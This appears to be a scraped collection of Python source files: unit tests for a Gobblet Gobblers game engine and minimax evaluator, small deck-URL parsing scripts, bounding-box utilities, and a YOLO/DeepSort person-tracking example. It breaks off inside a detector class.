enemy_large_pieces = input_param\n state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n expect = expect_param # expect_param == [0, 1, 2, 3, ... , 16, 17]\n actual = state.legal_actions()\n self.assertEqual(expect, actual)\n\n # my_xx_piece, enemy_xx_piece (visible除く)をタプルで取得する関数のテスト\n # 空\n # small, large それぞれのコマあり\n def test_get_pieces_for_tuple(self):\n patterns = [\n # 空\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # ---\n # ---\n # ---\n ((None, None, None, None),\n ((0, 0, 0, 0, 0, 0, 0, 0, 0), (0, 0, 0, 0, 0, 0, 0, 0, 0), (0, 0, 0, 0, 0, 0, 0, 0, 0),\n (0, 0, 0, 0, 0, 0, 0, 0, 0))),\n\n # 空\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # ---\n # ---\n # ---\n ((None, None, None, None),\n ((0, 0, 0, 0, 0, 0, 0, 0, 0), (0, 0, 0, 0, 0, 0, 0, 0, 0), (0, 0, 0, 0, 0, 0, 0, 0, 0),\n (0, 0, 0, 0, 0, 0, 0, 0, 0))),\n\n # small, large それぞれのコマあり\n # small\n # o-x\n # o-x\n # ---\n # large\n # ---\n # x-o\n # x-o\n # ↓\n #\n # visible\n # ---\n # x-o\n # x-o\n (([1, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 1, 0, 0, 1, 0, 0, 0], [0, 0, 0, 0, 0, 1, 0, 0, 1],\n [0, 0, 0, 1, 0, 0, 1, 0, 0]),\n ((1, 0, 0, 1, 0, 0, 0, 0, 0), (0, 0, 1, 0, 0, 1, 0, 0, 0), (0, 0, 0, 0, 0, 1, 0, 0, 1),\n (0, 0, 0, 1, 0, 0, 1, 0, 0))),\n ]\n for input_param, expect_param in patterns:\n my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces = input_param\n state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n expect = expect_param # expect_param == string\n actual = state.get_pieces_for_tuple()\n self.assertEqual(expect, actual)\n\n # get_pieces_for_binaryのテスト\n # 以下の条件で適切にビット変換できているか確かめる\n # - 空\n # - my_small_piecesで構成される盤面\n # - enemy_small_piecesで構成される盤面\n # - my_large_piecesで構成される盤面\n # - enemy_large_piecesで構成される盤面\n # - my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_piecesで構成される盤面\n def test_get_pieces_for_binary(self):\n patterns = [\n # 空\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # ---\n # ---\n # ---\n ((None, None, None, None), 0),\n\n # my_small_piecesで構成される盤面\n # small\n # o--\n # oo-\n # ooo\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # o--\n # oo-\n # ooo\n (([1, 0, 0, 1, 1, 0, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0], None, None),\n 0b111_011_001_000_000_000_000_000_000_000_000_000),\n\n # enemy_small_piecesで構成される盤面\n # small\n # x--\n # xx-\n # xxx\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # x--\n # xx-\n # xxx\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 1, 1, 0, 1, 1, 1], None, None),\n 0b000_000_000_111_011_001_000_000_000_000_000_000),\n\n # my_large_piecesで構成される盤面\n # small\n # ---\n # ---\n # ---\n # large\n # o--\n # oo-\n # ooo\n # ↓\n #\n # visible\n # o--\n # oo-\n # ooo\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 1, 1, 0, 1, 1, 1],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]), 0b000_000_000_000_000_000_111_011_001_000_000_000),\n\n # enemy_large_piecesで構成される盤面\n # small\n # ---\n # ---\n # ---\n # large\n # x--\n # xx-\n # xxx\n # ↓\n #\n # visible\n # x--\n # xx-\n # xxx\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [1, 0, 0, 1, 1, 0, 1, 1, 1]), 0b000_000_000_000_000_000_000_000_000_111_011_001),\n\n # my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_piecesで構成される盤面\n # small\n # ox-\n # ---\n # ox-\n # large\n # ---\n # ox-\n # ox-\n # ↓\n #\n # visible\n # ox-\n # ox-\n # ox-\n (([1, 0, 0, 0, 0, 0, 1, 0, 0], [0, 1, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 1, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 1, 0]), 0b001_000_001_010_000_010_001_001_000_010_010_000),\n\n ]\n for input_param, expect_param in patterns:\n my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces = input_param\n state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n expect = expect_param # bit化した盤面\n actual = state.get_pieces_for_binary()\n self.assertEqual(expect, actual)\n\n # 表示のテスト\n # 以下の条件で正しく表示ができる\n # - 空\n # - smallのみ\n # - largeのみ\n # - smallとlargeの重なりなし\n # - smallとlargeの重なりあり\n # - smallとlargeの重なりあり色重なりあり\n def test___str__(self):\n patterns = [\n # 空\n # small\n # ---\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # ---\n # ---\n # ---\n ((None, None, None, None),\n \" small\\n\"\n \" ---\\n\"\n \" ---\\n\"\n \" ---\\n \"\n \"\\r large\\n\"\n \" ---\\n\"\n \" ---\\n\"\n \" ---\\n \"\n \"\\r ↓\\n\"\n \"\\n\"\n \"visible\\n\"\n \" ---\\n\"\n \" ---\\n\"\n \" ---\\n \"),\n\n # smallのみ\n # small\n # ox-\n # ---\n # ---\n # large\n # ---\n # ---\n # ---\n # ↓\n #\n # visible\n # ox-\n # ---\n # ---\n (([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0], None, None),\n \" small\\n\"\n \" ox-\\n\"\n \" ---\\n\"\n \" ---\\n \"\n \"\\r large\\n\"\n \" ---\\n\"\n \" ---\\n\"\n \" ---\\n \"\n \"\\r ↓\\n\"\n \"\\n\"\n \"visible\\n\"\n \" ox-\\n\"\n \" ---\\n\"\n \" ---\\n \"),\n\n # largeのみ\n # small\n # ---\n # ---\n # ---\n # large\n # ox-\n # ---\n # ---\n # ↓\n #\n # visible\n # ox-\n # ---\n # ---\n ((None, None, [1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0]),\n \" small\\n\"\n \" ---\\n\"\n \" ---\\n\"\n \" ---\\n \"\n \"\\r large\\n\"\n \" ox-\\n\"\n \" ---\\n\"\n \" ---\\n \"\n \"\\r ↓\\n\"\n \"\\n\"\n \"visible\\n\"\n \" ox-\\n\"\n \" ---\\n\"\n \" ---\\n \"),\n\n # small, large重なりなし\n # small\n # ox-\n # ---\n # ---\n # large\n # ---\n # ox-\n # ---\n # ↓\n #\n # visible\n # ox-\n # ox-\n # ---\n (([1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 1, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0]),\n \" small\\n\"\n \" ox-\\n\"\n \" ---\\n\"\n \" ---\\n \"\n \"\\r large\\n\"\n \" ---\\n\"\n \" ox-\\n\"\n \" ---\\n \"\n \"\\r ↓\\n\"\n \"\\n\"\n \"visible\\n\"\n \" ox-\\n\"\n \" ox-\\n\"\n \" ---\\n \"),\n\n # small, large重なりあり\n # small\n # ox-\n # ---\n # ox-\n # large\n # ---\n # ox-\n # ox-\n # ↓\n #\n # visible\n # ox-\n # ox-\n # ox-\n (([1, 0, 0, 0, 0, 0, 1, 0, 0], [0, 1, 0, 0, 0, 0, 0, 1, 0], [0, 0, 0, 1, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 1, 0]),\n \" small\\n\"\n \" ox-\\n\"\n \" ---\\n\"\n \" ox-\\n \"\n \"\\r large\\n\"\n \" ---\\n\"\n \" ox-\\n\"\n \" ox-\\n \"\n \"\\r ↓\\n\"\n \"\\n\"\n \"visible\\n\"\n \" ox-\\n\"\n \" ox-\\n\"\n \" ox-\\n \"),\n\n # small, large重なりあり色重なり\n # small\n # oxo\n # --x\n # ox-\n # large\n # --o\n # oxx\n # ox-\n # ↓\n #\n # visible\n # oxo\n # oxx\n # ox-\n (([1, 0, 1, 0, 0, 0, 1, 0, 0], [0, 1, 0, 0, 0, 1, 0, 1, 0], [0, 0, 1, 1, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 1, 1, 0, 1, 0]),\n \" small\\n\"\n \" oxo\\n\"\n \" --x\\n\"\n \" ox-\\n \"\n \"\\r large\\n\"\n \" --o\\n\"\n \" oxx\\n\"\n \" ox-\\n \"\n \"\\r ↓\\n\"\n \"\\n\"\n \"visible\\n\"\n \" oxo\\n\"\n \" oxx\\n\"\n \" ox-\\n \"),\n ]\n for input_param, expect_param in patterns:\n my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces = input_param\n state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n expect = expect_param # expect_param == string\n actual = str(state)\n self.assertEqual(expect, actual)\n\n\nif __name__ == '__main__':\n unittest.main()\n", "id": "8138008", "language": "Python", "matching_score": 4.249370574951172, "max_stars_count": 1, "path": "tests/test_gobbletgobblers.py" }, { "content": "# coding=utf-8\nimport unittest\nimport gobbletgobblers as game\nimport statevalue as value\n\n\nclass TestMiniMax(unittest.TestCase):\n # 価値計算のテスト\n # 以下の条件で正しく価値を計算する(先手目線、後手には-1をかけて適用する)\n # - 勝ち盤面\n # - 負け盤面\n # - 引き分け盤面\n # - 手数がかかる盤面\n # - 自分のコマを置いて勝ち\n # - 相手がどこに置いても、次に自分がコマを置いて勝ち\n # - 自分がどこに置いても、次に相手がコマを置いて負け\n def test_mini_max(self):\n patterns = [\n # 勝ち盤面\n # small\n # ---\n # ---\n # ---\n # large\n # o--\n # oo-\n # o--\n # ↓\n #\n # visible\n # o--\n # oo-\n # o--\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 1, 1, 0, 1, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]), 1),\n\n # 負け盤面\n # small\n # ---\n # ---\n # ---\n # large\n # x--\n # xx-\n # x--\n # ↓\n #\n # visible\n # x--\n # xx-\n # x--\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [1, 0, 0, 1, 1, 0, 1, 0, 0]), -1),\n\n # 引き分け盤面\n # small\n # oxo\n # xxo\n # oox\n # large\n # oxo\n # xxo\n # oox\n # ↓\n #\n # visible\n # oxo\n # xxo\n # oox\n (([1, 0, 1, 0, 0, 1, 1, 1, 0], [0, 1, 0, 1, 1, 0, 0, 0, 1], [1, 0, 1, 0, 0, 1, 1, 1, 0],\n [0, 1, 0, 1, 1, 0, 0, 0, 1]), 0),\n\n # 自分のコマを置いて勝ち\n # small\n # x--\n # xx-\n # ---\n # large\n # o--\n # oo-\n # ---\n # ↓\n #\n # visible\n # o--\n # oo-\n # ---\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 1, 1, 0, 0, 0, 0], [1, 0, 0, 1, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]), 1),\n\n # 相手がどこに置いても、次に自分がコマを置いて勝ち\n # small\n # x--\n # x--\n # ---\n # large\n # o--\n # oo-\n # ---\n # ↓\n #\n # visible\n # o--\n # oo-\n # ---\n (([0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 1, 0, 0, 0, 0, 0], [1, 0, 0, 1, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 0]), 1),\n\n # 自分がどこに置いても、次に相手がコマを置いて負け\n # small\n # o--\n # oo-\n # ---\n # large\n # x--\n # xx-\n # ---\n # ↓\n #\n # visible\n # x--\n # xx-\n # ---\n (([1, 0, 0, 1, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0],\n [1, 0, 0, 1, 1, 0, 0, 0, 0]), -1),\n ]\n for input_param, expect_param in patterns:\n my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces = input_param\n state = game.State(my_small_pieces, enemy_small_pieces, my_large_pieces, enemy_large_pieces)\n expect = expect_param # 負けなら-1, 引き分けなら0 NegaMaxなので、-1をかける\n actual = value.mini_max(state)\n self.assertEqual(expect, actual)", "id": "98954", "language": "Python", "matching_score": 0, "max_stars_count": 1, "path": "tests/test_statevalue.py" }, { "content": "# coding: utf-8\n# Your code here!\nimport csv\n\ndef encode_cardd_by_url(url: str) -> dict: \n \"\"\"\n 入力:デッキURL\n 出力:{ card_id, num }\n 処理:\n URLから、カードidごとの枚数の辞書を作成する\n \"\"\"\n \n site_url, card_url = url.split(\"c=\")\n card_url, key_card_url = card_url.split(\"&\")\n arr_card_id = card_url.split(\".\") \n \n deck = { card_id: arr_card_id.count(card_id) for card_id in arr_card_id }\n \n return deck\n \n# 処理はここから\ndeck = encode_cardd_by_url(input())\ncard_details = []\n\n# csvを開く, card_dbはwithを抜けると自動で閉じる\nwith open('../db/dmps_card_db.csv') as card_db:\n reader = csv.reader(f)\n for row in reader:\n for card_id, num in deck.items():\n # keyが存在する行をとってくる\n card_details.append(row.split(\",\"))\n # card_details.append(csv(exist key line).split(\",\"))\n \n\n# 結果出力\nfor card_detail in card_details:\n print(card_detail)\n \n \n", "id": "21719", "language": "Python", "matching_score": 1.8929436206817627, "max_stars_count": 0, "path": "src/tools/checkDeckByUrl.py" }, { "content": "# coding: utf-8\n\n\"\"\"\n入力:デッキURL\n出力:cardId\n処理:\n card_id を重複なく、読み込んだ順番で返す.\n用途:\n デュエプレDBの制作に使用.\n\"\"\"\n\nurl = input()\n\nsplit_key_card = url.split(\"&\")\nurl_card = split_key_card[0].split(\"=\")\ncard_id = url_card[1].split(\".\") \n\ntrue_id = list(dict.fromkeys(card_id))\n\nfor id in true_id:\n print(id)\n ", "id": "5217961", "language": "Python", "matching_score": 1.7454946041107178, "max_stars_count": 0, "path": "src/tools/encodeCardIdByDeckUrl.py" } ]
1.89466
fuzailpalnak
[ { "content": "import numpy as np\r\nimport cv2\r\n\r\n\r\ndef from_x_y_aspect_height_to_x_y_width_height(bbox: np.ndarray) -> np.ndarray:\r\n \"\"\"\r\n\r\n :param bbox:\r\n :return:\r\n \"\"\"\r\n assert bbox.ndim == 1 or bbox.ndim == 2, (\r\n \"Expected bbox to be either '1' dim or '2' dim\" \"got %s\",\r\n (bbox.ndim,),\r\n )\r\n assert bbox.shape == (4,) or bbox.shape == (4, 1), (\r\n \"Expected bbox to have shape '[4, ]' or '[4, 1]'\" \"got %s\",\r\n (bbox.shape,),\r\n )\r\n\r\n copy_bbox = bbox.copy()\r\n copy_bbox[2] *= copy_bbox[3]\r\n copy_bbox[:2] -= copy_bbox[2:] / 2\r\n return copy_bbox\r\n\r\n\r\ndef from_x_y_width_height_to_x_y_aspect_height(bbox: np.ndarray) -> np.ndarray:\r\n \"\"\"\r\n\r\n :param bbox:\r\n :return:\r\n \"\"\"\r\n assert bbox.ndim == 1 or bbox.ndim == 2, (\r\n \"Expected bbox to be either '1' dim or '2' dim\" \"got %s\",\r\n (bbox.ndim,),\r\n )\r\n assert bbox.shape == (4,) or bbox.shape == (4, 1), (\r\n \"Expected bbox to have shape '[4, ]' or '[4, 1]'\" \"got %s\",\r\n (bbox.shape,),\r\n )\r\n copy_bbox = bbox.copy()\r\n\r\n copy_bbox[:2] += copy_bbox[2:] / 2\r\n copy_bbox[2] /= copy_bbox[3]\r\n return copy_bbox\r\n\r\n\r\ndef from_x_y_width_height_to_x_min_y_min_x_max_y_max(bbox: np.ndarray) -> np.ndarray:\r\n \"\"\"\r\n\r\n :return: (min x, min y, max x, max y)\r\n \"\"\"\r\n assert bbox.ndim == 1 or bbox.ndim == 2, (\r\n \"Expected bbox to be either '1' dim or '2' dim\" \"got %s\",\r\n (bbox.ndim,),\r\n )\r\n assert bbox.shape == (4,) or bbox.shape == (4, 1), (\r\n \"Expected bbox to have shape '[4, ]' or '[4, 1]'\" \"got %s\",\r\n (bbox.shape,),\r\n )\r\n copy_bbox = bbox.copy()\r\n\r\n copy_bbox[2:] += copy_bbox[:2]\r\n return copy_bbox\r\n\r\n\r\ndef from_x_min_y_min_x_max_y_max_to_scale_aspect_ratio(bbox: np.ndarray) -> np.ndarray:\r\n \"\"\"\r\n\r\n :param bbox:\r\n :return:\r\n \"\"\"\r\n\r\n assert bbox.ndim == 1 or bbox.ndim == 2, (\r\n \"Expected bbox to be either '1' dim or '2' dim\" \"got %s\",\r\n (bbox.ndim,),\r\n )\r\n assert bbox.shape == (4,) or bbox.shape == (4, 1), (\r\n \"Expected bbox to have shape '[4, ]' or '[4, 1]'\" \"got %s\",\r\n (bbox.shape,),\r\n )\r\n\r\n w = bbox[2] - bbox[0]\r\n h = bbox[3] - bbox[1]\r\n x = bbox[0] + w / 2.0\r\n y = bbox[1] + h / 2.0\r\n s = w * h\r\n r = w / float(h)\r\n return np.array([x, y, s, r])\r\n\r\n\r\ndef from_scale_aspect_ratio_to_x_min_y_min_x_max_y_max(bbox: np.ndarray) -> np.ndarray:\r\n \"\"\"\r\n\r\n :param bbox:\r\n :return:\r\n \"\"\"\r\n assert bbox.ndim == 1 or bbox.ndim == 2, (\r\n \"Expected bbox to be either '1' dim or '2' dim\" \"got %s\",\r\n (bbox.ndim,),\r\n )\r\n assert bbox.shape == (4,) or bbox.shape == (4, 1), (\r\n \"Expected bbox to have shape '[4, ]' or '[4, 1]'\" \"got %s\",\r\n (bbox.shape,),\r\n )\r\n\r\n w = np.sqrt(bbox[2] * bbox[3])\r\n h = bbox[2] / w\r\n return np.array(\r\n [\r\n bbox[0] - w / 2.0,\r\n bbox[1] - h / 2.0,\r\n bbox[0] + w / 2.0,\r\n bbox[1] + h / 2.0,\r\n ]\r\n )\r\n\r\n\r\ndef non_max_suppression(boxes, max_bbox_overlap, scores=None):\r\n \"\"\"\r\n Suppress overlapping detections.\r\n\r\n Original code from [1]_ has been adapted to include confidence score.\r\n\r\n .. [1] http://www.pyimagesearch.com/2015/02/16/\r\n faster-non-maximum-suppression-python/\r\n\r\n :param boxes:\r\n :param max_bbox_overlap:\r\n :param scores:\r\n :return:\r\n \"\"\"\r\n\r\n if len(boxes) == 0:\r\n return []\r\n\r\n boxes = boxes.astype(np.float)\r\n pick = []\r\n\r\n x1 = boxes[:, 0]\r\n y1 = boxes[:, 1]\r\n x2 = boxes[:, 2] + boxes[:, 0]\r\n y2 = boxes[:, 3] + boxes[:, 1]\r\n\r\n area = (x2 - x1 + 1) * (y2 - y1 + 1)\r\n if scores is not None:\r\n indexes = np.argsort(scores)\r\n else:\r\n indexes = np.argsort(y2)\r\n\r\n while len(indexes) > 0:\r\n last = len(indexes) - 1\r\n i = indexes[last]\r\n pick.append(i)\r\n\r\n xx1 = np.maximum(x1[i], x1[indexes[:last]])\r\n yy1 = np.maximum(y1[i], y1[indexes[:last]])\r\n xx2 = np.minimum(x2[i], x2[indexes[:last]])\r\n yy2 = np.minimum(y2[i], y2[indexes[:last]])\r\n\r\n w = np.maximum(0, xx2 - xx1 + 1)\r\n h = np.maximum(0, yy2 - yy1 + 1)\r\n\r\n overlap = (w * h) / area[indexes[:last]]\r\n\r\n indexes = np.delete(\r\n indexes, np.concatenate(([last], np.where(overlap > max_bbox_overlap)[0]))\r\n )\r\n\r\n return pick\r\n", "id": "9026230", "language": "Python", "matching_score": 1.6402249336242676, "max_stars_count": 2, "path": "py_detect_track/detect/utils.py" }, { "content": "import os\r\nimport sys\r\nimport cv2\r\nimport numpy as np\r\nfrom PIL import Image\r\nfrom collections import deque\r\n\r\n\r\nmodule_path = os.path.abspath(os.path.join(\"../\"))\r\nif module_path not in sys.path:\r\n sys.path.append(module_path)\r\n\r\nfrom py_detect_track.track import DeepSort\r\nfrom py_detect_track.detect.yolo3 import YOLODetector\r\nfrom py_detect_track.detect.appearance.deepsort_identification import create_box_encoder\r\nfrom py_detect_track.track.deepsort.deepsort import DeepSortDetection\r\nfrom py_detect_track.detect.utils import (\r\n non_max_suppression,\r\n from_x_y_width_height_to_x_min_y_min_x_max_y_max,\r\n from_x_y_aspect_height_to_x_y_width_height,\r\n)\r\n\r\nIDENTIFICATION_SAVED_MODEL_WEIGHT = (\r\n r\"D:\\Cypherics\\saved_weights\\deep_sort\\mars-small128.pb\"\r\n)\r\n\r\nDETECTOR_MODEL_WEIGHT_PATH = r\"D:\\Cypherics\\saved_weights\\deep_sort\\yolo.h5\"\r\nDETECTOR_ANCHOR_PATH = r\"D:\\Cypherics\\saved_weights\\deep_sort\\yolo_anchors.txt\"\r\nDETECTOR_CLASS_PATH = r\"D:\\Cypherics\\saved_weights\\deep_sort\\coco_classes.txt\"\r\n\r\nINPUT_VIDEO_FILE = r\"D:\\Cypherics\\open_back\\data\\10\\\r\nvlc-record-2020-11-15-18h32m45s-2018-03-09.10-10-00.10-15-00.school.G299.mp4-.mp4\"\r\nOUTPUT_VIDEO_FILE = r\"D:\\Cypherics\\open_back\\out\\test_4.avi\"\r\n\r\nNMS_OVER_LAP = 0.3\r\n\r\nnp.random.seed(100)\r\nCOLORS = np.random.randint(0, 255, size=(200, 3), dtype=\"uint8\")\r\n\r\nPTS = [deque(maxlen=30) for _ in range(9999)]\r\n\r\n\r\ndef input_video_object():\r\n return cv2.VideoCapture(INPUT_VIDEO_FILE)\r\n\r\n\r\ndef output_video_object(width, height):\r\n return cv2.VideoWriter(\r\n OUTPUT_VIDEO_FILE, cv2.VideoWriter_fourcc(*\"MJPG\"), 15, (width, height)\r\n )\r\n\r\n\r\ndef run():\r\n detector = YOLODetector(\r\n model_path=DETECTOR_MODEL_WEIGHT_PATH,\r\n anchors_path=DETECTOR_ANCHOR_PATH,\r\n classes_path=DETECTOR_CLASS_PATH,\r\n )\r\n encoder = create_box_encoder(IDENTIFICATION_SAVED_MODEL_WEIGHT, batch_size=1)\r\n deep_sort = DeepSort(\r\n cascade_matching_threshold=0.5, iou_matching_threshold=0.50, max_age=30\r\n )\r\n\r\n input_video = input_video_object()\r\n output_video = output_video_object(int(input_video.get(3)), int(input_video.get(4)))\r\n\r\n fps = 0.0\r\n\r\n try:\r\n while cv2.waitKey(1):\r\n identified_object_count = int(0)\r\n tracker_id_collection = []\r\n\r\n ret, frame = input_video.read()\r\n if not ret:\r\n raise Exception\r\n image = Image.fromarray(frame[..., ::-1])\r\n\r\n detected_boxes, class_names = detector.detect_image(image)\r\n appearance_features = encoder(frame, detected_boxes)\r\n\r\n detections = [\r\n DeepSortDetection(\r\n np.asarray(bbox, dtype=np.float),\r\n np.asarray(feature, dtype=np.float32),\r\n )\r\n for bbox, feature in zip(detected_boxes, appearance_features)\r\n ]\r\n\r\n detected_boxes = np.array([d.detection for d in detections])\r\n scores = np.array([1 for d in detections])\r\n indices = non_max_suppression(detected_boxes, NMS_OVER_LAP, scores)\r\n detections = [detections[i] for i in indices]\r\n\r\n trackers = deep_sort.track_with_detection_object(detections)\r\n\r\n for det in detections:\r\n bbox = from_x_y_width_height_to_x_min_y_min_x_max_y_max(\r\n det.detection\r\n ).reshape(4, 1)\r\n cv2.rectangle(\r\n frame,\r\n (int(bbox[0]), int(bbox[1])),\r\n (int(bbox[2]), int(bbox[3])),\r\n (255, 255, 255),\r\n 2,\r\n )\r\n\r\n for track in trackers:\r\n if not track.is_confirmed() or track.time_since_update > 1:\r\n continue\r\n\r\n tracker_id_collection.append(int(track.track_id))\r\n\r\n bbox = from_x_y_width_height_to_x_min_y_min_x_max_y_max(\r\n from_x_y_aspect_height_to_x_y_width_height(\r\n track.extract_position_from_state()\r\n )\r\n ).reshape(4, 1)\r\n color = [\r\n int(c)\r\n for c in COLORS[\r\n tracker_id_collection[identified_object_count] % len(COLORS)\r\n ]\r\n ]\r\n\r\n cv2.rectangle(\r\n frame,\r\n (int(bbox[0]), int(bbox[1])),\r\n (int(bbox[2]), int(bbox[3])),\r\n color,\r\n 3,\r\n )\r\n cv2.putText(\r\n frame,\r\n str(track.track_id),\r\n (int(bbox[0]), int(bbox[1] - 50)),\r\n 0,\r\n 5e-3 * 150,\r\n color,\r\n 2,\r\n )\r\n\r\n if len(class_names) > 0:\r\n cv2.putText(\r\n frame,\r\n str(class_names[0]),\r\n (int(bbox[0]), int(bbox[1] - 20)),\r\n 0,\r\n 5e-3 * 150,\r\n color,\r\n 2,\r\n )\r\n\r\n identified_object_count += 1\r\n center = (\r\n int(((bbox[0]) + (bbox[2])) / 2),\r\n int(((bbox[1]) + (bbox[3])) / 2),\r\n )\r\n PTS[track.track_id].append(center)\r\n cv2.circle(frame, center, 1, color, 5)\r\n\r\n for j in range(1, len(PTS[track.track_id])):\r\n if (\r\n PTS[track.track_id][j - 1] is None\r\n or PTS[track.track_id][j] is None\r\n ):\r\n continue\r\n\r\n thickness = int(np.sqrt(64 / float(j + 1)) * 2)\r\n cv2.line(\r\n frame,\r\n (PTS[track.track_id][j - 1]),\r\n (PTS[track.track_id][j]),\r\n color,\r\n thickness,\r\n )\r\n\r\n cv2.putText(\r\n frame,\r\n \"Total Object Counter: \" + str(len(set(tracker_id_collection))),\r\n (int(20), int(120)),\r\n 0,\r\n 5e-3 * 200,\r\n (0, 255, 0),\r\n 2,\r\n )\r\n cv2.putText(\r\n frame,\r\n \"Current Object Counter: \" + str(identified_object_count),\r\n (int(20), int(80)),\r\n 0,\r\n 5e-3 * 200,\r\n (0, 255, 0),\r\n 2,\r\n )\r\n cv2.putText(\r\n frame,\r\n \"FPS: %f\" % fps,\r\n (int(20), int(40)),\r\n 0,\r\n 5e-3 * 200,\r\n (0, 255, 0),\r\n 3,\r\n )\r\n cv2.namedWindow(\"Person-Tracking\", 0)\r\n cv2.resizeWindow(\"Person-Tracking\", 2048, 2048)\r\n cv2.imshow(\"Person-Tracking\", frame)\r\n\r\n output_video.write(frame)\r\n\r\n input_video.release()\r\n output_video.release()\r\n cv2.destroyAllWindows()\r\n\r\n except KeyboardInterrupt:\r\n input_video.release()\r\n output_video.release()\r\n cv2.destroyAllWindows()\r\n raise KeyboardInterrupt\r\n\r\n except Exception as ex:\r\n input_video.release()\r\n output_video.release()\r\n cv2.destroyAllWindows()\r\n raise ex\r\n\r\n\r\nif __name__ == \"__main__\":\r\n run()\r\n", "id": "3075321", "language": "Python", "matching_score": 2.9454615116119385, "max_stars_count": 2, "path": "examples/deepsort_person_tracker.py" }, { "content": "import colorsys\r\nimport os\r\nimport random\r\nfrom typing import List\r\n\r\nimport numpy as np\r\nfrom keras import backend as K\r\nfrom keras.models import load_model\r\nfrom PIL import Image, ImageFont, ImageDraw\r\n\r\nfrom py_detect_track.detect.yolo3.evaluator import get_evaluator, YOLOModelEvaluator\r\n\r\n\r\ndef letterbox_image(image, size):\r\n image_w, image_h = image.size\r\n w, h = size\r\n new_w = int(image_w * min(w * 1.0 / image_w, h * 1.0 / image_h))\r\n new_h = int(image_h * min(w * 1.0 / image_w, h * 1.0 / image_h))\r\n resized_image = image.resize((new_w, new_h), Image.BICUBIC)\r\n\r\n boxed_image = Image.new(\"RGB\", size, (128, 128, 128))\r\n boxed_image.paste(resized_image, ((w - new_w) // 2, (h - new_h) // 2))\r\n return boxed_image\r\n\r\n\r\nclass YOLODetector(object):\r\n def __init__(\r\n self,\r\n model_path: str = None,\r\n anchors_path: str = None,\r\n classes_path: str = None,\r\n class_to_detect: str = \"person\",\r\n score_threshold: float = 0.60,\r\n iou_threshold: float = 0.60,\r\n model_image_size: tuple = (416, 416),\r\n ):\r\n\r\n self._class_to_detect = class_to_detect\r\n self._score = score_threshold\r\n self._iou = iou_threshold\r\n self._model_image_size = model_image_size\r\n\r\n self._class_names = self._get_class(classes_path)\r\n self._anchors = self._get_anchors(anchors_path)\r\n self._is_fixed_size = self._model_image_size != (None, None)\r\n\r\n self._model = load_model(os.path.expanduser(model_path), compile=False)\r\n\r\n self._sess = K.get_session()\r\n self._input_image_shape = K.placeholder(shape=(2,))\r\n\r\n self._evaluator = self._generate_evaluator()\r\n\r\n @staticmethod\r\n def _get_class(class_path: str) -> List:\r\n classes_path = os.path.expanduser(class_path)\r\n with open(classes_path) as f:\r\n class_names = f.readlines()\r\n class_names = [c.strip() for c in class_names]\r\n return class_names\r\n\r\n @staticmethod\r\n def _get_anchors(anchors_path: str) -> np.ndarray:\r\n anchors_path = os.path.expanduser(anchors_path)\r\n with open(anchors_path) as f:\r\n anchors = f.readline()\r\n anchors = [float(x) for x in anchors.split(\",\")]\r\n anchors = np.array(anchors).reshape(-1, 2)\r\n return anchors\r\n\r\n def _generate_evaluator(self) -> YOLOModelEvaluator:\r\n colors = self._generate_colors()\r\n random.seed(10101)\r\n random.shuffle(colors)\r\n random.seed(None)\r\n\r\n evaluator = get_evaluator(\r\n self._model.output,\r\n self._anchors,\r\n len(self._class_names),\r\n self._input_image_shape,\r\n score_threshold=self._score,\r\n iou_threshold=self._iou,\r\n )\r\n return evaluator\r\n\r\n def _generate_colors(self) -> List:\r\n hsv_tuples = 